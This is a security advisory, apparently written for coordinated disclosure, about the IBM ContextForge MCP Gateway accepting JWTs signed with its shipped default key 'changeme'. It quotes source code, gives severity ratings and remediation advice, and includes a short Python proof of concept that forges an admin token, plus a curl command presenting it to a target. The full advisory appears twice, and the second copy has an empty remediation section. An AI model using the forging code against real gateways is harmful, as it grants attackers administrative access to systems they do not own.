Security Advisory: IBM ContextForge MCP Gateway (IBM/mcp-context-forge)
▎ Scope and safety. This advisory is the result of a local, static source review of the public IBM/mcp-context-forge repository. No live IBM-operated service, hosted deployment, or third-party instance was accessed, scanned, or attacked. The proof of concept was constructed and validated locally against fabricated credentials (the repository's own published default value), using a JWT the reviewer minted on their own machine.
Repository: https://github.com/IBM/mcp-context-forge (ContextForge MCP Gateway)
Reviewed: main @ 99d864d, re-verified 2026-07-06.
Findings: 1 (High)
Finding 1 (HIGH): Predictable default JWT signing key enables authentication bypass in the default environment
CWE: CWE-1188 (Insecure Default Initialization of Resource) + CWE-798 (Use of Hard-coded Credentials)
CVSS v3.1: AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L = 7.1 (High). The AC:H metric already accounts for the two documented defaults that must stay unchanged. Note that this combination is the shipped out-of-box state (ENVIRONMENT=development, JWT_SECRET_KEY unset), not an unusual misconfiguration, which is why the default value that anchors token trust is treated as High.
Summary: In its shipped default configuration (ENVIRONMENT=development, JWT_SECRET_KEY unset), the gateway signs and verifies session/authorization JWTs with the publicly-known literal string "changeme" (HS256). The one guard that would reject a weak secret is explicitly skipped in the development environment, and development is the default. Any network-reachable client can mint a JWT signed with "changeme", set an arbitrary (admin) subject, and bypass AUTH_REQUIRED=true entirely.
Technical detail:
mcpgateway/config.py
jwt_secret_key: SecretStr = Field(default=SecretStr("changeme"))
jwt_algorithm: str = "HS256"
environment: Literal["development","staging","production"] = Field(default="development")
derive_key_per_environment: bool = Field(default=False)
validate_security_combinations(): the weak-secret guard is bypassed in development
if val.lower() in weak_secrets:
if env != "development": # default env 'development' => guard skipped
raise SecurityConfigurationError(...)
mcpgateway/utils/jwt_config_helper.py: HS branch returns the base secret verbatim (no derivation by default) => "changeme"
if algorithm.startswith("HS"):
base = settings.jwt_secret_key.get_secret_value() ...
return _derive_env_key(base, settings.environment) if settings.derive_key_per_environment else base
mcpgateway/utils/verify_credentials.py (verify_jwt_token):
decode_kwargs = {"key": get_jwt_public_key_or_secret(), "algorithms": [settings.jwt_algorithm], "options": options}
payload = jwt.decode(token, **decode_kwargs)
validate_token_environment rejects ONLY a present-and-mismatched env claim; a missing env claim passes
if settings.validate_token_environment:
token_env = payload.get("env")
if token_env is not None and token_env != settings.environment:
raise HTTPException(status_code=401, ...)
The remaining claim checks are not barriers to an attacker who knows the key: jwt_audience/jwt_issuer default to the public constants mcpgateway-api/mcpgateway (include matching aud/iss); require_token_expiration/require_jti only force including exp and jti, which is trivial. Net effect: in the default environment the gateway boots (emitting only a warning) and trusts any HS256 token signed with the world-readable string "changeme".
Proof of concept (local, the project's own published default key; no real secret used):
import jwt, time
tok = jwt.encode(
{"sub": "admin", "aud": "mcpgateway-api", "iss": "mcpgateway", "jti": "forged-1",
"iat": int(time.time()), "exp": int(time.time()) + 3600},
"changeme", # the shipped default JWT_SECRET_KEY
algorithm="HS256",
)
present to any authenticated route of a default-config gateway:
curl -H "Authorization: Bearer " https://target:4444/tools -> accepted as authenticated principal 'admin'
Against a gateway started with defaults (ENVIRONMENT unset/development, JWT_SECRET_KEY unset) and AUTH_REQUIRED=true, the forged token is accepted and served as an authenticated administrator.
Impact: Complete authentication bypass on a default-configured, network-reachable gateway. An unauthenticated attacker can forge a token bearing any identity, defeating AUTH_REQUIRED=true, and reach every management and proxy surface the gateway exposes, registering/invoking tools and MCP servers, reading/mutating gateway configuration, and pivoting to the downstream systems the gateway fronts (scope change). Deployments that set ENVIRONMENT=staging|production are protected by a fail-closed startup check and are not affected; deployments that set a strong JWT_SECRET_KEY are not affected. The exposure is the common quickstart / docker run / demo state that then gets network-exposed on the public default key.
Remediation:
- Fail closed on the default/weak key regardless of environment when AUTH_REQUIRED is true, including in development (remove the if env != "development": carve-out; a warning is insufficient for a value that anchors token trust). Gate any local-dev relaxation behind an explicit, loud opt-in (e.g. ALLOW_INSECURE_JWT_SECRET=true).
- Remove the hard-coded SecretStr("changeme") default so an unset JWT_SECRET_KEY is a hard configuration error, or generate a random per-process secret at startup; enforce minimum entropy/length.
- Consider enabling derive_key_per_environment and validate_token_environment (with a required env claim) by default so a token minted under one environment/key cannot be replayed against another.
- Ensure every quickstart, Docker, and Compose path sets JWT_SECRET_KEY to a generated value (or fails without one).
All quoted code was confirmed present verbatim on main @ 99d864d on 2026-07-06. No live IBM systems, deployments, or credentials were tested or accessed.
Security Advisory: IBM ContextForge MCP Gateway (IBM/mcp-context-forge)
▎ Scope and safety. This advisory is the result of a local, static source review of the public IBM/mcp-context-forge repository. No live IBM-operated service, hosted deployment, or third-party instance was accessed, scanned, or attacked. The proof of concept was constructed and validated locally against fabricated credentials (the repository's own published default value), using a JWT the reviewer minted on their own machine.
Repository: https://github.com/IBM/mcp-context-forge (ContextForge MCP Gateway)
Reviewed: main @ 99d864d, re-verified 2026-07-06.
Findings: 1 (High)
Finding 1 (HIGH): Predictable default JWT signing key enables authentication bypass in the default environment
CWE: CWE-1188 (Insecure Default Initialization of Resource) + CWE-798 (Use of Hard-coded Credentials)
CVSS v3.1: AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L = 7.1 (High). The AC:H metric already accounts for the two documented defaults that must stay unchanged. Note that this combination is the shipped out-of-box state (ENVIRONMENT=development, JWT_SECRET_KEY unset), not an unusual misconfiguration, which is why the default value that anchors token trust is treated as High.
Summary: In its shipped default configuration (ENVIRONMENT=development, JWT_SECRET_KEY unset), the gateway signs and verifies session/authorization JWTs with the publicly-known literal string "changeme" (HS256). The one guard that would reject a weak secret is explicitly skipped in the development environment, and development is the default. Any network-reachable client can mint a JWT signed with "changeme", set an arbitrary (admin) subject, and bypass AUTH_REQUIRED=true entirely.
Technical detail:
mcpgateway/config.py
jwt_secret_key: SecretStr = Field(default=SecretStr("changeme"))
jwt_algorithm: str = "HS256"
environment: Literal["development","staging","production"] = Field(default="development")
derive_key_per_environment: bool = Field(default=False)
validate_security_combinations(): the weak-secret guard is bypassed in development
if val.lower() in weak_secrets:
if env != "development": # default env 'development' => guard skipped
raise SecurityConfigurationError(...)
mcpgateway/utils/jwt_config_helper.py: HS branch returns the base secret verbatim (no derivation by default) => "changeme"
if algorithm.startswith("HS"):
base = settings.jwt_secret_key.get_secret_value() ...
return _derive_env_key(base, settings.environment) if settings.derive_key_per_environment else base
mcpgateway/utils/verify_credentials.py (verify_jwt_token):
decode_kwargs = {"key": get_jwt_public_key_or_secret(), "algorithms": [settings.jwt_algorithm], "options": options}
payload = jwt.decode(token, **decode_kwargs)
validate_token_environment rejects ONLY a present-and-mismatched env claim; a missing env claim passes
if settings.validate_token_environment:
token_env = payload.get("env")
if token_env is not None and token_env != settings.environment:
raise HTTPException(status_code=401, ...)
The remaining claim checks are not barriers to an attacker who knows the key: jwt_audience/jwt_issuer default to the public constants mcpgateway-api/mcpgateway (include matching aud/iss); require_token_expiration/require_jti only force including exp and jti, which is trivial. Net effect: in the default environment the gateway boots (emitting only a warning) and trusts any HS256 token signed with the world-readable string "changeme".
Proof of concept (local, the project's own published default key; no real secret used):
import jwt, time
tok = jwt.encode(
{"sub": "admin", "aud": "mcpgateway-api", "iss": "mcpgateway", "jti": "forged-1",
"iat": int(time.time()), "exp": int(time.time()) + 3600},
"changeme", # the shipped default JWT_SECRET_KEY
algorithm="HS256",
)
present to any authenticated route of a default-config gateway:
curl -H "Authorization: Bearer " https://target:4444/tools -> accepted as authenticated principal 'admin'
Against a gateway started with defaults (ENVIRONMENT unset/development, JWT_SECRET_KEY unset) and AUTH_REQUIRED=true, the forged token is accepted and served as an authenticated administrator.
Impact: Complete authentication bypass on a default-configured, network-reachable gateway. An unauthenticated attacker can forge a token bearing any identity, defeating AUTH_REQUIRED=true, and reach every management and proxy surface the gateway exposes, registering/invoking tools and MCP servers, reading/mutating gateway configuration, and pivoting to the downstream systems the gateway fronts (scope change). Deployments that set ENVIRONMENT=staging|production are protected by a fail-closed startup check and are not affected; deployments that set a strong JWT_SECRET_KEY are not affected. The exposure is the common quickstart / docker run / demo state that then gets network-exposed on the public default key.
Remediation:
All quoted code was confirmed present verbatim on main @ 99d864d on 2026-07-06. No live IBM systems, deployments, or credentials were tested or accessed.